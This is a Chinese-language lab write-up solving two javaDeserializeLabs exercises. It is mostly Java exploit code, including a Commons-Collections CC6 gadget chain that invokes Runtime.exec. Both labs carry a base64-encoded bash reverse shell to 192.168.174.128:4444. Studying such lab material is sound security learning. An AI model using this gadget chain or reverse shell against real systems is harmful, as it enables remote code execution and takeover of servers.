javaDeserializeLabs1，2

javaSec

简介

项目地址：https://github.com/waderwu/javaDeserializeLabs

其中涉及的知识面仍有未涉及部分，小目标：想在这学期离校前把他做完。

Lab1-basic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import com.utils.Utils;
import com.yxxx.javasec.deserialize.Calc;

import java.lang.reflect.Field;

public class Lab1 {
    public static void main(String[] args) throws Exception {
        Calc calc = new Calc();
        setFieldValue(calc,"canPopCalc",true);
        setFieldValue(calc,"cmd","bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}");
        System.out.println(Utils.objectToHexString(calc));
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

利用细节：

  1. jdk版本要和目标机器相同
  2. calc类的包路径也要和目标一样
  3. 要反射修改域值

image.png

Lab2-ysoserial_Web

查看pom.xml，存在commons-collections3.2.1组件，

1
2
3
4
5
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

用cc6，hashmap型，在shiro里面也自己构造过，就直接拿过来用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package com.payload.lab2;

import com.utils.Utils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Lab2 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
        String command = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}";
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class,
                        Class[].class }, new Object[] { "getRuntime",
                        new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class,
                        Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class },
                        new String[] { command }),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.remove("keykey");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);

        objectOutputStream.writeUTF("SJTU");
        objectOutputStream.writeInt(1896);
        objectOutputStream.writeObject(expMap);

        System.out.println(Utils.bytesTohexString(byteArrayOutputStream.toByteArray()));
    }
}

细节：

最后objectOutputStream.writeUTF和objectOutputStream.writeInt要注意顺序，如果将writeObject放在前面会导致利用不成功。

序列化中遇到的常见问题：https://juejin.cn/post/6844903848167866375

image.png